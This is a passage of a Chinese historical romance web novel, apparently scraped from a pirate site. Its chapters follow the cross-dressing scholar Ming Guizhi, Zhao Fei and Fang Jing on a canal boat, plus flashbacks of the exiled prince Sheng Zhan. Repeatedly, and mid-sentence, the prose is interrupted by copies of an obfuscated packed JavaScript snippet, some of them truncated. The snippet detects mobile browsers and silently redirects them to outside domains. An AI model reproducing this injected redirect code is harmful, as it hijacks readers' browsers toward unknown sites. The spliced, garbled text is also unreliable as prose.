“嗯。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15020031|160291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “世子爷离京前，曾捎来新焙的龙团，老奴给您沏一盏？” 话说着去卷湿漉漉的纱帘，露出半扇雕花窗——雨丝斜斜切过灯笼晕黄的光，仿佛何人抛了把碎金线。 盛湛忽地起身，赤足踩在青砖地上。 绸裤下摆扫过炭盆，惊起火星子。 他望着铜镜里自己颧骨上的疤，恍惚又见梦中人染血的眉梢。 常恩忙将狐裘披在他肩头。 “唉，说起来，咱世子爷也是可怜见的，屋漏偏逢连夜雨，破衣更遭凛风寒……明将军在还漠北砂石地里滚刀子，小主子倒被姓赵的押着往钱塘驿送……” 老宦官絮絮说着，忽见铜镜里少年的睫毛颤了颤，在眼下投了弯青影。 窗根下，蟋蟀咋叫两声，即被雨打蔫了。 盛湛伸手触镜面的疤痕，指尖水雾凝成珠。 老宦官拿素帕捂着檐漏处飞溅的雨珠子。 细碎水光映得他的白眉成了银丝菊。 “老奴这两条贱命啊，原是梅雨季的水葱，早该烂在井台边……那年太子爷被诬陷，亏得明将军半夜托人带走老奴，才活到如今见到小殿下封王……” 窗棂外雨气漫进来，混着他絮语：“俗话总说‘好人命不长’，明家的人都是菩萨命，救人救得多，坏了自己的气数……” 话出口，他惊觉失言。 镜里盛湛只蹙了蹙眉，但常恩还是吓得低着头。 雨脚越来越急，砸得瓦当叮咚作响。 常恩躬身去拾床边滚落的瓷枕碎片，白发间露出块铜钱大的秃斑：“听说，那杭州市舶司门神多，鬼差也多，正宗的水浅王八多，也不知世子爷那样清贵的人儿，能不能应付得来那些泼皮……” 烛焰跳了一跳，在铜镜里泛出冷光。 盛湛觉得眼角被刺了一下。 痛得发涩。 …… 官船上。 子时的江雾湿了灯笼。 明桂枝的鹿皮靴在舱板上来回踱步，蹭出两道水痕。 新缠的纱布蹭着门框，印出星点黄药渍。 方靖推开门时，带出股苦艾味。 墨灰色前襟沾着药渣。 明桂枝猛地攥住他手腕：“他怎样了？” 话尾颤巍巍悬在檐溜间。 方靖压住被风掀起的船帷：“血倒是止住了，只是.....” 骤然不语，只一味摇头。 舱顶忽地传来夜枭啼叫，惊得明桂枝指尖一颤。 官船猛地一晃。 灯笼影子切过她苍白的脸。 药吊子在舱尾咕嘟作响，混着远处更夫敲的梆子。 一声声催人命似的。 方靖袖口漏出截染血的纱布，飘飘摇摇挂在铜门环上。 “是我拖累他。” 明桂枝眼圈一热，泪水漫过眼眶。 右臂伤处突突跳疼，却不及胸口绵长又细碎的刺痛伤人。 江雾深处传来摇橹声，吱呀吱呀碾碎满船药香。 明桂枝望着门缝里漏出的半幅竹青缎衣角。 忽地想起，两人一同落水、同生共死那次，赵斐也是穿的竹青色。 “他没死。” 方靖拍了拍她肩膀：“只是……” “只是什么？” …… 23.旧梦 门帘珠子撞出细碎声响。 明桂枝扶着门框踉跄半步，指甲深深掐进木纹里。 床帐半垂着，漏进昏光。 赵斐手僵僵地搭在锦被上。 脸色青白似蜡像。 昨夜在馄饨铺子里，这手还拈着竹筷。 “明日启程，大运河的风浪急，” 他手腕子一翻，夹走她最后一个荠菜馄饨，“夜宵吃多了，当心泛酸水。” …… “赵允书……” 她轻轻喊他名字。 喉头涌上铁锈味。 泪水模糊的视野里，赵斐额角的纱布不住渗血。 明明相识不过半旬。 况且原身又与他不熟。 他何必舍命相救？ 这样一动不动的，十有八九成植物人了。 指甲陷进掌心，明桂枝闻到了血腥味。 不知是他额角的，抑或是她手心的。 “傻子，”她咬得后槽牙发酸，“你不是榜眼么，怎的这么蠢……” …… 时空被浓稠的墨色笼罩。 赵斐独自徘徊在混沌的边缘。 四周寂静得让人发慌。 忽地，一把熟悉的声音不断唤他。 ——“少爷，少爷……” 一晃神，赵斐从堆满典籍的檀木书案中醒来。 笔架的影子被烛火摇碎。 案头的《礼记注疏》还摊在“敖不可长”那页。 纸角汗渍淌出扇形纹路。 “再添件褂子罢？” 老管家攥着狐裘，正要往他身上裹。 枯枝似的手覆上来，玛瑙扳指闪过幽光。 ——不对！ 这刻着赵氏族徽的扳指，去年已随老人葬入祖坟。 赵斐盯着对方斑白鬓角，愣神好久。 窗外飘雪落入在砚台边。 可是，方才明明是暮春时节。 难道…… 他死了，所以见到已死之人。 “少爷可是魇着了？怎的伏案就盹着了？” 老管家一如既往地唠叨：“夜露重，仔细染了风寒哟。小老儿说句僭越的话，您就是太要强，昨儿个背《禹贡》背到三更，今晨寅时又读《盐铁论》……” 玛瑙扳指映着烛火直晃悠，“瞧瞧这注疏，密密麻麻的……当年老太爷重金礼聘程门三老来讲学，那个不夸你颖悟绝伦？就说那柳先生罢，捧着您默的《治平策》直道‘文脉在赵’……” 他絮絮抖开狐裘，云锦面儿泼出晚霞色。 “老爷请的徐大儒昨儿还夸呢，说少爷‘金榜题名，跬步可期’.....那什么豫东书院，那起子酸儒能教什么新鲜的？不过是仗着前朝旧匾，撑门面罢了……再卧虎藏龙，能有刑部侍郎亲授的《律例疏议》金贵？更别说张鸿胪讲的《西域风物志》，那可是伺候过先帝爷的人物……” 窗纱扑簌簌抖进雪花，老人的絮叨声比雪还密：“要小老儿说啊，您就是把明家公子想得太玄乎。他家请的什么山野先生，哪比得上咱们府上——”话头猛地刹住，帕子往他额角虚虚一按，“瞧瞧，墨汁子都蹭太阳穴了，仔细腌着眼睛。” 赵斐望着案头未干的墨迹，终于想起这是他十二岁那年。 永泰四十二年。 那年立秋，他父亲赵廓起复回到京城。 听闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15024895|160291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明世礼的独子于豫东书院就读，赵廓当夜便往山长府上递了拜帖。 找了裕王写荐书，还请托荣安长公主作保。 他用青檀纸包了六礼束脩，玄玉镇纸换过三回，连拜师那日的深衣都熏了整宿竹叶香。 入学前那半月，赵斐将自己锁在京城赵宅的澄心斋，典籍功课读了又读。 这是梦？ 又或者，他与明桂枝那半旬的生死与共才是梦？ 他一时分不清楚。 老管家的唠叨声又响起:“少爷，您选的哪套衣服？” 对了，入学前一天，他还反反复复挑选服饰。 一时觉得石青色太素，一时觉得宝蓝色太俗。 纹绫绢的太奢华。 竹叶纹缎的又略显寒酸。 思来想去，最终选了一套牙色绞缬绢的直裾深衣。 搭配墨灰色短褐，雅淡又潇洒。 他还特意命仆役熨了再熨。 衣衫棱边直得像藏了尺。 他怕输给明桂枝。 谁想得到，人家来来去去只穿同一款的黛色圆领袍。 没有任何花纹。 就是最寻常的绸缎。 赵斐忍不住讪讪笑了。 那声笑从喉间溢出来时，他忽地又堕入无尽黑暗中。 …… 睫毛颤动掀开千钧重，最先撞进赵斐视线的，竟是颗刚刚坠下的泪。 明桂枝哭得发冠都歪了，咸泪淌湿他枕畔三寸。 “你哭、哭什……” 他刚吐出气音就咳得止不住。 明桂枝的哽咽卡在喉头，瞪圆的眼眶里还蓄着将落未落的泪。 …… 24.昆山片玉 波涛轻晃。 船灯晕出光圈，在水面碎成点点金鳞。 赵斐眼睫微动，“……然后，你让我猜你的字。” “你一定猜得到。” 明桂枝笑着看他。 眼眸水光潋滟，似有万千星子跳跃：“你这般聪明，你猜得到的，对不对？” 赵斐觉得自己的耳尖又发烫起来。 温热的感觉缓缓蔓延至脸颊、脖颈…… 他只好装作不经意地别过脸去。 “没有。” “竟然？” “嗯，我猜不到。” 赵斐声音里带着一丝喟叹。 “我想着，传说月中有桂，那你的这字里，定该有月亮的意象……月桂交辉，光华流溢，我猜你的字该是‘清辉’，亦或是‘月卿’。” 明桂枝赞许：“‘月卿’不错。” 赵斐摇头：“不，这等俗名，浅白太过，到底落了下乘。” “‘月卿’不好吗？” “不好，太俗。” 赵斐眉角轻颦，似是沉浸在那晚的思绪里。 “而后，我又念起‘兰桂齐芳’，便寻思着，你的字许是与兰有关……兰泽、兰成……这些名字在我心里转了又转，满心以为能撞上那正解。” “兰泽不错，兰成不好。” “都不好，都俗。” 赵斐的浅笑里多了几分自嘲：“我穷尽千百般可能，满心盼着能一语中的……可第二日，听着同窗唤你‘昆玉’，才如梦初醒。” “嗯……” “我暗自思忖，究竟是哪位大才子或是大文豪，为明桂枝取了这般妙到毫巅的字？” 他抬眸。 目光不偏不倚，直直撞进明桂枝的眼底。 “月桂交辉也好，兰桂齐芳也罢，‘桂枝’这两字，其实沾着三分庸常俗气。” 赵斐的眼波似藏幽微星芒：“但配上‘昆玉’这个字，倒显得是我浅薄了。” “为什么？” 明桂枝脱口问道。 这是她第二次听赵斐夸‘昆玉’这个字好。 她偏想不通好在哪里。 赵斐的表情在刹那间凝固。 “你不记得‘昆玉’的意思？” “我甚至不记得自己的字是什么，” 明桂枝笑着提醒他：“那天在茶寮里，是你先唤我的字，我才知道的。” 烛火微微摇曳。 窗外，沿岸柳丝影影绰绰。 与粼粼水光交融，如梦似幻。 “‘昆玉’有什么深意？” 她眼神澄澈得藏不了任何心事。 赵斐忽地攥住她腕骨错位之处。 力道轻得像握着一缕月华。 “他们……究竟对你做了什么？” 他声线发颤。 案头烛芯"噼啪"炸开数点金屑，将两人影子烙在屏风上。 “他们好歹饶我一命。” 明桂枝心里怅然。 她的灵魂会来到这个时空，原身当时恐怕已是死了。 说罢，她笑着错开话题：“劳你为我说说，我这个字究竟有什么典故，免得我以后失礼。” 赵斐看着“他”手臂纱布缓缓渗血，染红半幅衣袖。 他试探地问：“你记得‘攀蟾折桂’这个成语吗？” “我知道，是比喻科举登第。” “嗯，那你可记得‘折桂’的由来？” 明桂枝想了想：“好像……是一种习俗？” 赵斐摇头，眼神里无尽惋惜。 “你可记得《晋书》？” 他又问。 轮到明桂枝摇头：“隐约记得是‘二十四史’之一，但里面讲的什么，全忘记了。” 赵斐瞳仁微颤，自觉眼角酸得发涩。 良久，沿岸传来丑时的更声。 他为“他”娓娓道来。 “晋武帝泰始年间，吏部尚书崔洪举荐郄诜当左丞……后来，郄诜当雍州刺史，晋武帝问他‘卿自以为何如？’，郄诜道：‘臣举贤良对策，为天下第一，犹桂林之一枝，昆山之片玉’。” “原来如此，” 明桂枝叹道：“像桂林里的一段桂枝，像昆仑山上的一块玉……这就是‘折桂’的由来？” “嗯，你的名和字寓意都很好。” “不好。” 赵斐愣了愣，愕然问：“哪里不好？” “太沉重，” 她说：“人生的目标就只有攀蟾折桂？” 窗外，桨声欸乃。 偶尔划破夜的静谧，与风声一道浅吟低唱…… 与明桂枝的声线柔柔应和。 “万一，我对岐黄之术感兴趣呢？悬壶济世也不失礼啊。” “又或者，我更喜爱丹青，于毫厘之间倾注心血，岂非别有一番趣味？” “更说不定，我想成为旅人呢？四海为家，在不同的风土人情中感悟人生，让足迹遍布天涯海角，何等洒脱。” 她眉梢眼角皆灵动。 眸光如星晨闪烁，透着说不出的明亮与鲜活。 赵斐看得失神。 “人生是旷野，而不应该是独木桥。” 她笃定道。 “可那是父辈的期许。” 赵斐仿佛自语。 明桂枝拭了拭他额角的汗，笑道：“孩子没有义务背负父母的执念。” 烛芯火苗颤颤巍巍。 洒下细碎的光影。 赵斐生生怔住半晌，才匆匆别过脸。 ——怕被“他”看到他眼角的湿意。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15032668|160291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他觉得心里有什么东西重重地往下堕——但意料之外，它落到了无比柔软的去处。 “如果你有儿子，你会赐他怎样的名字？” 赵斐一开口，只觉得喉咙哑得发苦。 “唔……” 明桂枝认真思索起来：“我想他平安、健康，就叫‘安康’吧。” “那字呢？” “字啊……苏东坡写过，‘惟愿孩儿愚且鲁,无灾无难到公卿’，我愿他无灾无难，他字‘愚鲁’，你觉得怎样？” “他”粲然的一笑，让赵斐再次失神。 那首诗还有前半句——“人皆养子望聪明,我被聪明误一生”。 却不知明昆玉是否记得。 假如…… “他”没有聪明耀眼到令人忌惮的地步…… 会不会能逃过那一劫？ 明桂枝看他不回应，又催问：“字‘愚鲁’不好？” “好，好极，” 赵斐敛下心神，与“他”调侃说笑：“以后他的同窗唤他‘愚鲁兄’。” “那不好，还得改。” …… 细雨又涨三分。 雨丝在夜色中若隐若现， 与舱内烛火映衬。 明灭间，光影似摊晾生宣。 一半晕着松烟墨，一半洇着蜂蜡黄。 两人正说笑着，舱门轰然洞开。 原是方靖捧着夜宵撞进来。 托盘里，一碗馄饨凝着油花子。 馄饨皮薄得透出里头的白玉色，混着猪骨吊汤的咸鲜气。 明桂枝一见是他就来气。 “仲安兄，你啊，你方才那会儿又摇头，又长叹，” 她眉头都快竖起来：“我还以为允书他成植植物人了！” “植物人？” “就是昏迷不醒、长睡不起那种。” “那倒不至于。” 方靖把托盘放到赵斐身边，一把坐下。 端起碗，勺了颗馄饨喂他。 明桂枝问他：“那你唉声叹气是为何？” 又擦了擦腮边的泪痕，“害我浪费许多眼泪。” 方靖瞪圆了眼，认真道：“允书他头上留那么大、那么长的一道疤痕！” 他双手比划了一下。 足足有寸半长。 “然后？” “他今年十八，走的正是额头的运道，这处留疤影响的可是官运！” “就为了这个，你长嗟短叹的？” “这难道还不严重？他好不容易中的榜眼，要是为了这道疤影响了前程，可太糟糕了……” …… 吵闹声间，外头雨势歇些。 岸边隐约滚过渔歌子。 不知谁家撒夜网的船荡过芦苇丛。 …… 25.私奔 乌金砖上，血点溅成星图。 盛湛叩头比雷声还响，牙关震得发麻。 袖笼里，断裂的鹿角扎进他手臂肌肤。 生生将皮肉雕出纹路。 去年立秋那夜，他皇孙府邸也泛着血腥味。 但小表妹特制的止血散掺着桂花香。 令冰冷的地窖稍稍暖了一些。 新月落到窗棂边角之际，素绸帕子已沁透血色。 “死士的身上纹了福王府的徽纹……” 小表妹忧心忡忡。 血止住，盛湛略略松了口气：“这下可以排除福王，哪有人预谋行弑还特意派有印记的去？” “说不定他反其道而行之。” “呵，我这漏网的孤雏，也值得我那些叔父们撒网？” 盛湛说着，咳出几口血污。 胸口缠的细纱布渗出诡异墨色。 那歹徒的刀带了鸩毒。 幸而刺得不深。 又或者，是故意往浅里刺。 她捏着银剪子替他包扎。 他信不过外间的大夫。 甚至御医也信不过。 小表妹的手忽地停在他肋间。 “还会有下一次，” 她扯断绸布替绷带收口，发尾扫过他微颤的眼睫：“听古山长说，圣上这几年总念叨懿仁太子……” “哼，‘老而不’，”盛湛轻嗤一声：“他真要惦念父王，就该放我一条生路！” 药香缠着霉味在梁柱间游走。 他咳出半阙残笑，血沫子溅在小表妹的素色圆领袍上。 她也不躲。 只淡淡颦着眉。 “我那几个叔叔也是蠢到家，” 盛湛笑得喘不过气：“他们都以为‘老而不’会爱屋及乌，嫁祸别个来害我，就能铲除对手……” 地面大约是下起秋雨。 哗哗雨声渗进地窖。 “那‘老而不’年轻时，可是把自家兄弟的肠子勒成灯绳，挂到午门示众的狠辣人。” 青筋暴起的手猛地一叩，啪碎琉璃盏，“当年，他查都未查，一夜处死我父王、母妃……太子府就剩我和常恩，要不是舅舅来得及时……” 撕心裂肺的呛咳，截断尾音。 他唇间偏还漏出的笑：“他有二十多个儿子，如今死剩五个，杀亲儿子连眼都不眨的人，会顾念我这个孙子？” 喉间漏出的讽笑凝成雾气。 “蠢钝如猪，活该被‘老而不’玩弄……” 话音未尽，他怀里蓦地刺进团温软。 ——小表妹将脸埋在他未愈的箭创处。 新捣的止血散混着咸涩，漫过伤口。 比那歹徒的匕首更剜人心肺。 她发冠的明珠恰抵着他跳动的血脉。 “我差点失去你。” 尾音颤着哭嗓，“差一点……我就再也见不到你了。” 地窖漏雨处啪嗒响。 雨帘踏过卵石声。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15037012|160291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >盛湛肋间的刀伤随咳嗽迸裂。 肺叶像浸在寒天雪地里。 凉沁沁的。 一呼一吸间尽是雪粒摩擦的涩。 盛湛心中有无尽的悲凉。 他不能死。 他有小表妹与舅舅。 小表妹与舅舅也只有他了。 “我们逃吧，” 小表妹饮泣声如梦似幻：“待阿爹凯旋回来，我们便一道往西北去……” 她的掌心抵在他还在渗血的绷带上：“就你、我，还有阿爹……我们到西北去……” “嗯……” “去看大漠孤烟……看长河落日……” “好。” …… 之后的日子里，他与小表妹一点一滴准备着。 唐摹《的兰亭序》卷轴、五代的霜华凝彩玲珑瓷瓶。 宝华轩的浮光累丝金簪。 宋朝徽宗皇帝的丹彩逸韵花鸟图轴。 全被换成汇源票号的密押银票。 藏在菱花镜后的暗格里。 奴仆分了八、九批遣散。 那日，小表妹把卖身契烧进熬阿胶的炭炉。 契纸边角的“永泰二十九年”撞上点点火星。 嗤笑着炸成灰蝶。 这是盛湛有生以来最充实的一段时光。 只等待舅舅回来，挑一晚月黑风高，便远走高飞。 却在那日秋猎，命运给他开了个玩笑。 …… 26.妹夫 大运河，寅卯之交。 江面的雾气幽邃如海。 官船，桅杆上挂着盏灯笼。 光晕在晨风里摇摇晃晃，把赵斐的影子揉碎在舱板上。 方靖捧着汤药入来，正见赵斐倚着窗棂发呆。 竹青缎子叫烛火映得发灰，额角换了新的裹伤布。 “大夫说了，你那伤不碍事，”方靖拿帕子揩着碗沿药渍，“倒是昆玉手臂的那道口子，深得能见筋骨，这几日若沾了湿气、寒气，恐怕......” 赵斐闻言回首，目光霎时凛冽。 舱外，桨声哗哗，搅碎一江静水。 不一会儿，侍卫禀报，说方才有艘渔船靠近，递了封信笺。 赵斐接过，蹙眉嗤笑一声。 方靖探头瞅了眼，那蜡封旁写了“赵大人亲启”。 “徐霁民的人？” “只能是他了。” 赵斐刮了下封面的桑皮纸，纸面泛着济南府衙特有的水锈黄。 方靖皱眉问：“威胁？” “我猜是银票，” 赵斐嘴角轻勾：“昆玉付的那一万三千两定金。” 信瓤抖落，跌出一张济南宝源银号的银票。 赵斐两指夹着迎光一晃，朱砂印透出血色。 “一万五千两，还添二千两汤药钱——徐霁民当真体贴。” 方靖盯着票角墨渍：“不是昆玉付的定金么？怎的送到你手上？” 江风钻进舷窗，却不及赵斐的笑意冷，竟沁得人骨寒。 “离间计。” 赵斐将银票递给方靖，“一石三鸟：既离间我与昆玉，又卖赵家人情，末了还能在裕王跟前表忠心。” 方靖还是惑然：“何不卖个人情给明家、寿王？状元郎就这般不值当？” “在那些人眼里……” 隔壁舱房忽传来木榻吱呀声，继而又被褥窸窣声。 大约是“他”翻了个身吧。 赵斐压低嗓子：“明家瞧着体面，实则……”他叹了口气：“独木难支。” 江鸥掠过桅杆，惊得灯笼乱晃。 桅木被缆绳勒出凹痕，令他想起明桂枝腕骨错位处——也是这般深入筋骨的印。 有只白鹭单脚立在帆索上。 长喙有一下没一下啄着缆绳结。 那绳结原是打的“双鱼扣”，如今叫鸟喙挑松了半边，帆布在风里颤巍巍散成蓬乱麻。 “像不像御史台那帮老腌货？”赵斐指着白鹭冷笑，“专拣要命处叨啄。” 他想起明世礼失踪的消息传到京城时，那些毫无根据的构陷、指责。 方靖长长叹息，又问：“此事，就这么算了？” 赵斐没接话。 江风转了向，把隔壁安息香吹得更浓些。 他嗅着那甜腻香气，仿佛看见明桂枝蜷在榻上的模样——像在芦苇荡落难那次，“他”手脚都缩成一团，蜷曲着身子入睡。 当时他还调侃“他”睡没睡相。 如今想来，若非心无所恃、常觉惶惶，又怎会睡得这般不舒展？ “叫人把主帆降半幅。” 赵斐起身，朝舱外的护卫低声吩咐。 “有风暴？”方靖抬头望碧青如洗的天，想了片刻才明白：“是要让船行慢些？” “让他睡得稳一些吧。” “也好，反正不急。” “到徐州再补给。” “好。” …… 戌时三刻，江面浮着细碎银鳞，似星子碾碎了撒进漕河。 三人围坐在舱厅的八仙桌前。 明桂枝换了黛色圆领袍，披着件月白夹袄，袖口露出半截纱带，随她夹菜的动作一晃一晃，像只受伤的鹤在扑棱翅膀。 “竟睡到掌灯时分，”她颤颤舀了勺芹菜豆腐，豆腐巍巍跌回碗里，“瞧我这瞌睡虫，怕不是要改名叫''睡仙''了！” 笑意漫过眼尾，却不及眼底。 赵斐的竹箸顿了顿。 烛光映着明桂枝鬓角薄汗，他瞧得分明。 ——“他”的手臂必定还在痛吧。 如此深的伤口。 方靖正啃着糟鹅掌。 忽见赵斐舀起一大勺蛋羹，添到明桂枝碗里。 他问“他”：“可有发热？” 话音轻得像在问江上浮萍。 “你瞧我这胃口，”明桂枝一口吞掉蛋羹，笑道：“我像是病人么？” 说着从袖中抖出那张银票，“再说，蹭破点油皮，换二千两利钱，这买卖划算......” 烛花爆了个双蕊，映得笑意明媚。 赵斐不忍看“他”强颜。 他侧过脸去，不虞瞧见窗棂旁的天青釉胆瓶。 那是中榜后，古山长赠他的贺礼。 后来，被他父亲摔出了一道裂。 摆着插花无妨，但不能盛水。 赵斐觉得明桂枝如今的模样，像极这裂了璺的胆瓶——外人瞧着不过是多道纹，唯有捧在掌心才知，稍一用力便要散作满地冰裂。 江风掀起明桂枝一缕散发，即又黏在渗汗的额角上。 赵斐喉头动了动，恍若咽下枚生银杏。 苦得入肺。 他宁肯“他”还是豫东书院那个冷心冷面的状元郎。 宁愿“他”像从前那般，对着自己被悬于书院朱墙的策论，淡淡一笑：“名次于我明昆玉而言，不过浮云。” 他想要回那个让他嫉妒得撕心裂肺的宿敌世仇。 而不是眼前此刻，这个跌到尘埃里的、觉得二千两汤药钱很划算的、满身伤患还强扯出笑意的落魄生死交。 江心浮着半轮湿月亮。 船尾炊烟被风揉成纱绉，缠在桅杆上打了个虚虚的结。 岸边芦苇丛有萤火虫忽明忽暗。 方靖嘬着鹅掌骨，油星子溅到手边的《徐州风物志》上：“给说书人的本子备齐了，戏班子也打点妥当……” 明桂枝舀着第二碗蛋羹：“唱的什么戏？” “徐青天怀社稷解民困，斗奸邪智破假蝗灾案。” 赵斐朝她抬眉，“徐霁民爱演青天大老爷，咱们便让他演个够。” 明桂枝顿时了然，会心一笑。 舱外传来夜鹭呕哑。 方靖从怀里摸出个戏折子。 那封皮上，印着徐霁民的工笔小像——画师特意将他三角眼画成丹凤眼，粗看真有几分青天架势。 明桂枝瞥见“徐公智破惊天案”的戏名，噗嗤笑出声。 这笑里掺了太多江风，赵斐觉得它刮得人耳膜生疼。 更鼓声荡入河湾。 他起身推开窗，瞥见灯影晃过明桂枝腕骨，照出绷带下渗出的新血渍——“他”笑得太狠，挣裂了伤口。 赵斐忽然希望这船永远漂在漕河上。 没有徐霁民，没有赵家，没有裕王…… 没有江山社稷、前程抱负，没有阴谋陷害、波谲云诡。 只有烛火照着蛋羹的热气，江风裹着明桂枝袖口的血腥味，和方靖啃鹅掌的啧啧声。 夜雨骤降。 方靖嘬净鹅掌骨髓，指尖在舆图的“窑湾镇”上敲了敲。 “到了这地界，记得提醒我买几埕绿豆烧，我老泰山就好这口。” 明桂枝搅拌蛋羹，打趣道：“仲安兄这般体贴丈人，想必是爱煞了嫂夫人。” 方靖耳根蓦地泛红，活似桌上的煨醉虾。 他摸着襟口藏的青玉竹节佩。 “拙荆温柔贤淑，是极好的女子，” 语音里满是情意，难得有一丝羞涩：“家里事物大小，她都亲力亲为，你瞧我这鞋底……” 他提了下袍角，露出比他们二人略厚的鞋底：“她呀……” 江波晃着灯火，把他眼角的细纹都揉软了，“纳鞋底时总要多絮层棉，说是河上湿气重。” 赵斐低头瞧了眼，只见他鞋面绣着锦鲤，针脚比发丝还细。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15085787|160291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 鱼眼睛拿金线勾了边，烛火一晃，似在靴面游动。 他莞尔。 想起方靖前日背《漕运新规》，十句里错三韵的模样，再看这堪比贡品的绣工…… 原是天公疼憨人，读书的天分折了秤，补在姻缘簿上。 望着那对仿佛转动的鱼眼，赵斐心里倏然一沉——明桂枝是方靖的反面，“他”过目不忘，经史子集倒背如流。 连古山长亦曾忧心说“恐慧极必伤”。 他眼角有点酸。 天公既折了“他”一身傲骨，又让“他”忘却所学…… 那总应留条活路，不会再在姻缘上折辱“他”吧？ 明桂枝不知赵斐心中的祷告。 “娶妻当如是，” 她摩挲着杯盏，笑着敬方靖道：“敬嫂子一杯！” 方靖与她碰杯，笑问道：“昆玉喜欢什么样的女子？我族里兴许有合意的......” 烛火影倬，杯盏映着明桂枝戏谑的眉眼。 “样貌倒没所谓，首要性行温良、三从四德，次善女红。” 她照着古代男子对女子的要求，屈指数来。 “要绣得百子千孙帐，诵得《女诫》《内训》，第三要晨昏定省时......” 江风忽地扑灭一支烛，舱内暗了半寸。 赵斐盯着残烛青烟，眼前蓦然浮出二妹及笄礼那日——她绣的百鸟朝凤帐悬在祠堂，针脚细密如发丝，连教引嬷嬷都叹“赵家女红甲京城”。 “......若得如此佳人，”明桂枝长长叹羡，惊回赵斐神思，“便是三生有幸。” 赵斐顿觉喉头发紧。 却听得方靖朗笑道：“这般女子我族中正有一位，年方二八......” ——“家妹上月及笄！” 赵斐突兀截话。 明桂枝徒然怔忡。 赵斐的话头却似脱缰野马。 “是我二妹，上月刚及笄，她母亲是继室，所以她是正经的嫡长女，府里请了学问一流的女夫子，自幼教她经书诗词，可为你红袖添香……” 他眸子瞬间亮得似星。 “她绣的仕女图，连宫里的贵人都夸赞，而且，我二妹她花容月貌，仙姿玉色，与你甚相配！” 语速快得像在背漕运税则。 “好！”方靖抚掌笑叹：“般配，般配！簪缨门第配玉堂金马，不论家世、才貌，皆如天造地设。” “是吧！” 赵斐朝方靖点头，心绪愈发激动，一把握着明桂枝的手：“来，我现在就去叫船掉头，先回京，待你俩成亲了再出发！” 他越想，越觉得此事可行。 二妹嫁给明桂枝，既化解明、赵两家的宿怨，“他”有赵家、裕王这两座靠山，没人敢欺辱”他“。 最重要的是，明桂枝做他妹夫。 “他”的孩子流着赵家的血。 他们，是生生世世的家人。 比朋友长久。 明桂枝没有回应，也没有动身。 赵斐拇指正抵着“他”虎口的茧。 他觉得这茧子似乎动了动，像尾银鱼滑过春溪。 “他”眼风扫过他眉目，最后定定盯着他耳垂看。 赵斐后颈倏然沁出薄汗。 “你看、看什么？” 话出口才觉声线劈了岔，像码头上新斫的毛竹。 烛火映着明桂枝半边脸，“他”倾身凑近，发间混着运河水的潮气。 话音比船舷新结的蛛丝还轻。 “我看你有没有环痕。” “什么？” “你我同窗六载……” “对。” “你有个年龄相仿的妹妹要嫁给我？” “没错。” “所以，我看看你耳上有没有环痕，看看你有没有扮过观音。” 赵斐知道“他”说的是《梁祝》。 他耳尖腾地红了，像新出锅的虾饺皮。 …… 27.怪梦 卯时的春雾漫进窗棂。 烛火将熄未熄，在灯笼里晃了晃。 赵斐觉得耳畔痒丝丝的。 “允书，该起了。” 是他继母施氏的声线。 “就当姨母求求你，你且顺着些老爷，昨日祠堂那藤条抽得我心头颤……你若有个闪失，教我怎对得住薛家表姐？” 声音还是江南调子，吴侬软语里掺着梅花香。 与他生母有七八分相似。 施氏是他母亲的表妹，在母亲去世后入的门。 头那几年，他不肯唤她“母亲”，她便以姨母自称，直到如今。 赵斐刚要应声，顿发现不妥——施氏怎么会在他房？ 他是她成了年的继子！ 猛一睁眼，却见帐顶垂着石榴红流苏。 这不是他的屋子。 